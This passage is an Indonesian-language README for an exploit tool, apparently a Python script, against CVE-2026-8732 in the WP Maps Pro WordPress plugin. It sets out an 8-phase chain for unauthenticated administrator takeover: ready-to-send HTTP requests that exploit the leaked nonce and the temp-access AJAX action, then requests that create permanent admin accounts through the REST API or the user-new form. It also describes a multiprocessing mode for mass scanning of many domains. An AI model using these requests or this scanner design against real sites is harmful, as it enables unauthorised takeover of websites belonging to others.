---

🎯 Tentang Kerentanan

Plugin WordPress WP Maps Pro versi ≤ 6.1.0 memiliki kerentanan eskalasi hak istimewa tanpa autentikasi. Penyerang tanpa kredensial apapun dapat membuat akun administrator dan mengambil alih kendali situs.

Kerentanan berasal dari fitur "Temporary Access" yang dirancang untuk tim dukungan vendor FlipperCode, tetapi terekspos ke publik tanpa perlindungan yang memadai.

Informasi	Detail
CVE	CVE-2026-8732
CVSS	9.8 (KRITIS) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Plugin	WP Maps Pro (wp-google-map-gold)
Vendor	FlipperCode
Versi Terdampak	≤ 6.1.0
Versi Ditambal	6.1.1
Tipe	Missing Authentication for Critical Function (CWE-306)
Pengaruh	Pembuatan admin tanpa autentikasi → kontrol penuh situs
Penulis PoC	XENON1337

---

🔥 Tiga Kelemahan yang Berkaitan

┌──────────────────────────────────────────────────────────────┐
│  KELEMAHAN 1 — Endpoint Terekspos Tanpa Autentikasi        │
│  ▸ AJAX action didaftarkan dengan wp_ajax_nopriv_           │
│  ▸ Siapapun bisa mengakses tanpa login                      │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 2 — Nonce Bocor di Halaman Publik               │
│  ▸ Objek wpgmp_local.nonce disematkan di setiap halaman    │
│  ▸ Penyerang bisa mengekstrak nonce dari HTML source        │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 3 — Tidak Ada Pemeriksaan Hak Akses             │
│  ▸ Fungsi callback hanya memverifikasi nonce               │
│  ▸ Tidak ada current_user_can() — tidak ada pertahanan lain│
└──────────────────────────────────────────────────────────────┘

---

⚡ Attack Chain — 8 Fase

  ┌─────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 1  │──▶│ FASE 2   │──▶│ FASE 3   │──▶│ FASE 4   │
  │ RESOLVE │   │ CHECK WP │   │ DETECT   │   │ VERSION  │
  │ HTTPS?  │   │ wp-content│   │ PLUGIN   │   │ ≤6.1.0?  │
  │ HTTP?   │   │ wp-login  │   │ wpgmp_   │   │ WAF?     │
  └─────────┘   └──────────┘   └──────────┘   └─────┬────┘
                                                      │ RENTAN
                                                      ▼
  ┌──────────────────────────────────────────────────────────┐
  │                    FASE 5 — EKSTRAKSI NONCE               │
  │                                                          │
  │  GRUP A (API)          GRUP B (Konten)      GRUP C      │
  │  ├─ M1: REST pages    ├─ M4: Sitemap XML   └─ M7: Slug  │
  │  ├─ M2: REST search   ├─ M5: Homepage links    Brute    │
  │  └─ M3: rest_route    └─ M6: RSS/Atom feed   Force     │
  │                                                          │
  │  Target: wpgmp_local.nonce = "fc-call-nonce"             │
  └──────────────────────────┬───────────────────────────────┘
                             │ NONCE DITEMUKAN
                             ▼
  ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 6   │──▶│ FASE 7   │──▶│ FASE 8   │
  │ EXPLOIT  │   │ VERIFY   │   │ ADD ADMIN│
  │ POST AJAX│   │ Magic URL│   │ PERMANEN │
  │ nonce+   │   │ Cookie   │   │ REST API │
  │ check_   │   │ login    │   │ WP-Admin │
  │ temp=false│   │ check    │   │ Form     │
  └──────────┘   └──────────┘   └──────────┘
                                       │
                                       ▼
                               ✅ ADMIN DIBUAT
                               Login: wp_xxxx / pass
                               Role: administrator

Detail Setiap Fase

Fase	Nama	Fungsi	Permintaan
1	Resolve	Pilih HTTPS/HTTP secara paralel	1
2	Check WP	Verifikasi target adalah WordPress	0
3	Detect Plugin	Cek indikator WP Maps di 3 lapisan	0-4
4	Version + WAF	Baca readme.txt / CSS ?ver= + deteksi WAF	1
5	Ekstraksi Nonce	7 metode pencarian dalam 3 grup paralel	0-150
6	Eksploitasi	POST admin-ajax.php → buat akun admin sementara	1
7	Verifikasi	Akses magic URL → konfirmasi sesi admin	2
8	Tambah Admin	REST API (utama) + WP-Admin form (cadangan)	4

---

🛠️ Metode Penyerangan

Metode 1: Eksploitasi Inti — Pembuatan Admin Tanpa Autentikasi

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false

Respons jika rentan:

{"url":"https://target.com/?wpgmp_access=abc123def456"}

Magic URL ini memberikan login otomatis sebagai fc_user_XXXXX (role: administrator).

Metode 2: Tambah Admin Permanen via REST API

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json

{
  "username": "wp_xxxxxxxx",
  "email": "user@localhost",
  "password": "Str0ng!Pass#2026",
  "roles": ["administrator"]
}

Metode 3: Tambah Admin via WP-Admin Form (Cadangan)

POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded

user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1                       <-- KUNCI: konfirmasi password lemah
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>

Kunci penting: pw_weak=1 wajib disertakan — WordPress menolak password lemah tanpa parameter ini.

---

📐 Arsitektur

CVE-2026-8732.py
│
├── 📦 NonceFinder — Pencari nonce dengan 7 metode
│   ├── Grup A (API): M1 REST pages, M2 REST search, M3 rest_route
│   ├── Grup B (Konten): M4 Sitemap, M5 Homepage links, M6 RSS feed
│   └── Grup C (Paksa): M7 Slug brute force (30+ slug umum)
│
├── ⚔️ Exploiter — Mesin eksploitasi 8 fase
│   ├── resolve()           → Fase 1: Pemilihan protokol
│   ├── check_wp()           → Fase 2: Verifikasi WordPress
│   ├── detect_plugin()      → Fase 3: Deteksi plugin + early nonce
│   ├── detect_version()     → Fase 4: Deteksi versi + WAF
│   ├── exploit()            → Fase 6: Eksploitasi inti
│   ├── verify()             → Fase 7: Verifikasi login admin
│   └── add_admin()          → Fase 8: Tambah admin permanen
│
├── 🔧 Worker Process — Proses pekerja multiprocessing
│   ├── producer()           → Baca domain dari mp.Queue
│   └── consumer() (N)       → Eksekusi scan paralel
│
└── 🖥️ Scanner — Antarmuka pengguna
    ├── single()             → Mode target tunggal (interaktif)
    └── multi()              → Mode multi-target (massal)

Aliran Data